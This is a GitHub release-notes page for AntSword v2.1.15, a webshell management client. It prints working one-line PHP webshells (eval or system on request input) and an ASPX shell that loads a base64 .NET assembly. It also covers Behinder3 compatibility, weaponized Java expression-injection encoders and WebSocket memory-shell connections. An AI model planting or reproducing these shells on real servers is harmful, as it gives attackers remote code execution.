AntSwordProject / antSword

中国蚁剑是一款跨平台的开源网站管理工具。AntSword is a cross-platform website management toolkit.
https://www.yuque.com/antswordproject/antsword
MIT License
3.69k stars 579 forks source link

release v2.1.15 #316

Closed Medicean closed 2 years ago

Medicean commented 2 years ago

核心

<?php eval(file_get_contents("php://input"));?>

为了方便直连 Behinder3 WebShell, 编码器已内置。

该类型支持的 WebShell 类似如下代码:

<%@ Page Language="c#"%>
<%
  String Payload = Request.Form["ant"];
  if (Payload != null)
  {
    System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
    assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(null);
  }
%>

有关该类型的设计说明, 请参考聊聊新类型ASPXCSharp

基于命令执行的一句话类型, 仅支持 Windows 环境

该类型支持的 WebShell 类似如下代码:

<?php system($_POST["ant"]);?>

有关 PSWindows 的一些注意事项和原理说明, 请参考新类型 PSWindows 预览

具体请看 spelbase64、el、ognl 这三个内置编码器样例, 详细请参考Java表达式注入的武器化利用

数据管理

勾选该选项后,只会发送 pwd 键下的内容,不会发送键值 目前生效的类型有: 「PHPRAW」、「CMDLinux」、「PSWindows」、「JSPJS」

主要场景如下:

// 连接类型 CMDLinux, 勾选 「Body 设置为 RAW 模式」后可连接
<?php system(file_get_contents("php://input"));?>

文件管理

该功能目前正在逐步适配所有类型中 , 目前已经适配 PHP/PHP4/PSWindows/CMDLinux/JSP/JSPJS

后端模块

superagent 支持的 type 简写如下, 当然也支持填写全称:

html: 'text/html',
json: 'application/json',
xml: 'text/xml',
urlencoded: 'application/x-www-form-urlencoded',
form: 'application/x-www-form-urlencoded',
form-data: 'application/x-www-form-urlencoded'

由于 ASP/ASPX/ASPXCharp/PHP/JSP/CUSTOM 类型每次请求时为多个参数,WebSocket连接之后Server端解析会较为困难,所以当前仅支持「RAW」类型: 「PHPRAW」、「CMDLinux」、「PSWindows」、「JSPJS」,未来会支持基于 defineClass 的 JSPRAW 类型

wsMemShell 项目中的 wscmd 为例:

URL: ws://127.0.0.1:8080/demoendpoint
PWD: 随便填写
连接类型: CMDLinux
Encoder: default (明文, 这个是WebShell端决定的)
Decoder: 根据情况自由选择

注意: 由于 antSword 历史设计原因,WebSocket 连接方式暂时只能每次操作都重新建立一次连接,在传输结束后自动与Server端断开

设置模块

其它

如需自己更新请下载后替换 static/libs/qqwry.dat 文件